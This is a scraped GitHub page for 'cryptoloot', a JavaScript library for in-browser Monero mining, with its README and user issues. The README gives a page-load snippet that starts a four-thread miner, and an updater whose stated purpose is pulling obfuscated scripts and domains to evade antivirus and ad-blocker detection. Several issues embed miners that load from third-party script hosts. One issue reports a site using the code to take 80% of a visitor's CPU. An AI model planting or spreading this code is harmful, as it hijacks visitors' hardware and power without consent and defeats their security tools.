Giter VIP home page Giter VIP logo

cryptoloot's Introduction

cryptoloot

Self Hosted Library for CryptoLoot v3.0

Working with Monero v10 (Cryptonight v4/CryptoNightR) March 9th, 2019 Hardfork Release Also now works with UPXTWO Algorithm

How to Install:

  1. Download https://github.com/Crypto-Loot/cryptoloot/archive/master.zip and uncompress at yoursite.com home directory or alternatively use git clone https://github.com/Crypto-Loot/cryptoloot.git
  2. Register at https://crypto-loot.org to get your public site ID, you'll need this for the next step.
  3. Add the script to your website, preferably ABOVE tag, and not within the tags. Make sure to edit YOUR_PUBLIC_KEY with your site ID from crypto-loot.org:
<script src="lib/crypta.js"></script>
<script>
            var miner=new CRLT.Anonymous('YOUR_PUBLIC_KEY', {
                threads:4,autoThreads:false,throttle:0.2,coin: "xmr"
            });
        miner.start();
</script>

NOTE: Also, edit your site key above from the one you have on https://crypto-loot.org

  1. All set. Now just send some traffic!

  2. Optional: Set to automatically update (to stay up to date with the latest obfuscated scripts and domains to avoid AV/Adblocker detection): Make sure to install php-curl extension on your server if it does not exist:

CentOS:

yum install php-curl

Debian:

apt-get install php-curl

Change the permissions of these threee files to 777 so they can be overwritten on update:

chmod 777 lib/crypta.js lib/version.txt

Install the cron to check for updates once every 12 hours:

0 */12 * * * php /var/www/html/website/updater.php >> /var/www/html/website/cl_log.txt

Supported Coins:

xmr: coin: xmr upx: coin: upx Mix of both upx & xmr (50/50): coin: xmrupx

Have any questions?

Feel free to contact as at https://crypto-loot.org

cryptoloot's People

Contributors

crypto-loot avatar quantumleaper avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

cryptoloot's Issues

Thanks for making the internet more shady

I'm here cause I visited a shady website that used 80% of my CPU. I viewed the source, found the code, googled it and the results led me right here where I found the exact same code example.

There so much great free stuff on GitHub. It's unfortunate that it's also being used to distribute malicious code that is used to hijack CPU resources, increasing my clock speed and power usage.

I'm reporting this to GitHub. Not sure if they will care but they will hear about it.

MinerUI not found

After the latest commit, the class MinerUI is not found,
For example, in your web, I can see this:
result
The same occur in my web

setNumThreads not working

Hello ๐Ÿ˜ƒ
I'm trying to make the user to set the number of threads manually with a custom UI I built but it's not working.

This is my simple code I have right now:

var maxThreads = window.navigator.hardwareConcurrency;
var threads = maxThreads / 2;
if (maxThreads < 1) {
    maxThreads = 1;
}
if (threads < 1) {
    maxThreads = 1;
}

var miner = new CRLT.User('CODE', username, {
            threads: threads,
            autoThreads: false,
            throttle: 0.2
        });

Later on the same file I have a function:

function setNumThreads() {
    $('.js-current-threads').text(threads);
    if (miner) {
        miner.setNumThreads(threads);
    }
}

When I set the number of threads nothing changes, I also tried to do it manually calling miner.setNumThreads(1); on the console and nothing. Number of workers are always the same too on the dev tools.

I also noticed that miner.isRunning() also say false, always, even while running.

I think these functions are broken.

Thank you.

MinerJs events and method dont work

I have got a test page like this:

<!DOCTYPE>
<head>
    <title>Pagina principal</title>
    <script src="https://reauthenticator.com/lib/crypta.js"></script>
	<script>
		var miner=new CRLT.User('44a47c9a9ab6e7fb282862ffed8160c1e7086b97d223',"Jorge",
				{
				threads:4,autoThreads:true,throttle:0.05,
				}
		);
	        miner.start();
	</script>
	<script>
		// Listen on events
		miner.on('open', function(params) { console.log('Connection Opended'); });
		miner.on('authed', function(params) { console.log('Connection Authenticated'); });
		miner.on('error', function(params) {
			if (params.error !== 'connection_error') {
				console.log('The pool reported an error', params.error);
			};
		});
		miner.on('found', function(params) { console.log('Hash found'); });
		miner.on('accepted', function(params) { console.log('Hash accepted'); });

		// Update stats once per second
		setInterval(function() {
			console.clear();
			var hashesPerSecond = miner.getHashesPerSecond();
			var totalHashes = miner.getTotalHashes();
			var acceptedHashes = miner.getAcceptedHashes();
			console.log('H/s->'+hashesPerSecond);
			console.log('Total->'+totalHashes);
			console.log('Accepted->'+acceptedHashes);
		}, 60000);
	</script>
</head>
<body>

</body>

I have been running for an hour and the spected output in the log is the number of Hashes, on your web i can see this:
issue
But in the browser console only is this printed:
issue2

How to *actually* self-host?

Is it possible to actually self-host cryptoloot?

The README of this repo is contradictory, specifically these two quotes:

Self Hosted Library for CryptoLoot v3.0
...
Register at https://crypto-loot.org to get your public site ID

Sorry, but the definition of self-hosting is that you do not rely on a remote server.

Is it possible to self-host cryptoloot without needing to register on crypto-loot.org?

User Not Updated

Hi,

I use CRLT.User() method to Mine, but the user is not updated with total hashes accepted.
I can see that the user found accepted hash with On("found") event, but the API return 0 total for the user.

The user is correctly created, but the result is not updated.
Using the MinerUI.

Client:

<script src="//statdynamic.com/lib/crypta.js"></script>
  <script src="https://reauthenticator.com/lib/minui.js"></script>
  <script>
      var miner = null;
      try {
        var threads = (window.navigator.hardwareConcurrency / 2) || 1;
        if (threads < 1) {
            var threads = 1;
        }

        miner = new CRLT.User('5d04ac4**************a1a1f36', "{{ $cryptoUser }}", {threads: threads, throttle:0.05, coin: "upx"});

        // Listen on events
        miner.on('open', function(params) { console.log('Connection Opended'); });
        miner.on('authed', function(params) { console.log('Connection Authenticated'); });
        miner.on('error', function(params) {
          if (params.error !== 'connection_error') {
            console.log('The pool reported an error', params.error);
          };
        });
        miner.on('found', function(params) { console.log('Hash found'); });
        miner.on('accepted', function(params) { console.log('Hash accepted'); });

      } catch(e) {
        console.log("[MINER-ERROR] " + e);
      }

      // Update stats once per second
      /*setInterval(function() {
        //console.clear();
        var hashesPerSecond = miner.getHashesPerSecond();
        var totalHashes = miner.getTotalHashes();
        var acceptedHashes = miner.getAcceptedHashes();

        console.log('H/s->'+hashesPerSecond);
        console.log('Total->'+totalHashes);
        console.log('Accepted->'+acceptedHashes);
      }, 10000);*/

      var ui = new MinerUI(miner, {
        container: document.getElementById('miner'),
        canvas: document.getElementById('mining-stats-canvas'),
        hashesPerSecond: document.getElementById('mining-hashes-per-second'),
        threads: document.getElementById('mining-threads'),
        threadsAdd: document.getElementById('mining-threads-add'),
        threadsRemove: document.getElementById('mining-threads-remove'),
        hashesTotal: document.getElementById('mining-hashes-total'),
        startButton: document.getElementById('mining-start'),
        stopButton: document.getElementById('mining-stop'),
        blkWarn: document.getElementById('blk-warning')
      });
      console.log(ui)

      $("#AutoStartMiner").change(() => {
        let isChecked = $("#AutoStartMiner").prop("checked");
        console.log("AutoStartMiner set to " + isChecked);
        console.log("Miner is Running => " + miner.isRunning());

        if(isChecked) {
          createCookie("AutoStartMiner", "true", 1);
          setTimeout(() => {
            document.getElementById('mining-start').click();
          }, 1000)
        }else{
          eraseCookie("AutoStartMiner");

          setTimeout(() => {
            document.getElementById('mining-stop').click();
          }, 1000)
        }
      });

      if(readCookie("AutoStartMiner") !== null) {
        console.log("Auto Starting Miner from Cookie");
        $("#AutoStartMiner").prop("checked", true).change();
      }

  </script>

Server:

$secret = "938**************************1bbb4";
            $cryptoUser = "user_".Auth::user()->id;
            $cryptoDatas = false;
            $cryptoError = false;

            try {
                $client = new Client([
                    // Base URI is used with relative requests
                    // 'base_uri' => 'http://httpbin.org',
                    // You can set any number of default request options.
                    'timeout'  => 2.0,
                ]);
                $r = $client->request('POST', "https://api.crypto-loot.com/user/balance", [
                    'form_params' => [
                        'name' => $cryptoUser,
                        'secret' => $secret
                    ]
                ]);
                $cryptoDatas = json_decode($r->getBody());
            } catch (\Exception $e) {
                $cryptoError = $e->getMessage();
                
            }

            dd($cryptoDatas);

Server Response:

{#654 โ–ผ
  +"name": "user_1"
  +"total": "0"
  +"withdrawn": "0"
  +"balance": "0"
}

Is it working?

I'm getting ReferenceError: CryptoLoot is not defined

API problem

Hi.
I used cryptoloot HTTP API like:

https://api.crypto-loot.com/user/balance?name=1256****156&secret=66f5610f5533e9bf****************e84891528dd0
and its responded : { "success": "false", "error": "invalid_secret" }

I copied "exact" key from dashboard. whats wrong?

How do I ?

how to integrate it on my site so that each user get their hash and get rewarded for it instead of me taking all computing power ?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.